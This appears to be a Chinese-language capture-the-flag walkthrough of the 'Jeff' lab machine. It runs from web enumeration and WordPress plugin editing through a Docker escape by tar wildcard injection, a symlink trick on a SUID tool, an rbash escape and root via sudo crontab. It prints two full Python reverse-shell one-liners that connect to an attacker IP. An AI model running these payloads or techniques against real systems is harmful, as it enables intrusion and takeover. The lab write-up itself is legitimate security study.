Jeff
你能破解杰夫的网络服务器吗?
如果你发现自己在暴力破解SSH,你就做错了。
端口扫描
循例nmap

进80,是一个空页面,查看源代码

将jeff.thm加入hosts

上gobuster

/admin是空页面,/backups也没东西,/uploads是文件上传点
然而连upload也是假的

扫admin/,login.php还是空的

扫/backups/

把backup.zip下下来,需要密码

zip2john后直接爆

查看bak得到wp密码

现在就差wp站点没找到,不出意外应该是vhost,直接上ffuf

把wordpress子域加进hosts

进到wp并且利用刚刚的凭据登录

无法通过改页面getshell

这里利用插件编辑器改插件index.php

但akismet这个目录无权访问

换另一个插件,同样的方法

访问hello.php

没问题,直接reverse shell
python3.7可用

payload:
python3.7 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.14.39.48",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
 

docker逃逸
在家目录的html下有一个root的文件

$dbFile = 'db_backup/backup.sql';
$ftpFile = 'backup.sql';
$username = "backupmgr";
$password = "SuXXXXXXxXXXXXXXX3!";
$ftp = ftp_connect("172.20.0.1"); // todo, set up /etc/hosts for the container host
if( ! ftp_login($ftp, $username, $password) ){
    die("FTP Login failed.");
}
$msg = "Upload failed";
if (ftp_put($ftp, $remote_file, $file, FTP_ASCII)) {
    $msg = "$file was uploaded.\n";
}
 
很明显,172.20.0.1应该就是宿主机,而该php文件将连接到宿主机的ftp并上传一些文件去备份
这里没有ftp,我们可以用curl

这里上传文件后,如何进行备份是一个更值得关注的地方
在以往,我们通过所谓备份来提权的应该就是tar的通配符注入了
如果这里也是tar把ftp上传的文件进行备份,那么我们将直接逃逸到宿主机,获得宿主机的shell
hack.sh
#!/bin/bash
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.14.39.48",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
 

base64编码解码写入hack.sh

上传ftp

成功过来

横向移动
看到用户名是backupmgr,一下联想到了/var/backups,在/var/backups下有个bak,但目前无权查看

/opt

进到systools,查看message.txt

systool是一个可执行文件并且带jeff的suid,可以查看进程和“重置jeff的密码”

而systool会读取message.txt,并且message.txt我们有所有权

联合上面发现的jeff.bak,我们可以通过ln将message.txt链接到jeff.bak来读取其内容

再次执行systool,获得jeff的密码

ssh登过去,发现ssh的shell受限, 是rbash,什么都干不了

通过刚刚的shell直接su过去,发现至少还能执行一些命令
发现只禁止了/,环境变量并没有被破坏,直接bash获得bash

拿到user flag,但是这个flag是错误的,看到flag里面有个Hash Me两个字眼果断将其MD5

再次提交,成功
权限提升
查看sudo -l

久违的crontab -e提权
进到vim之后直接:!/bin/bash

成功到root,拿到root flag




















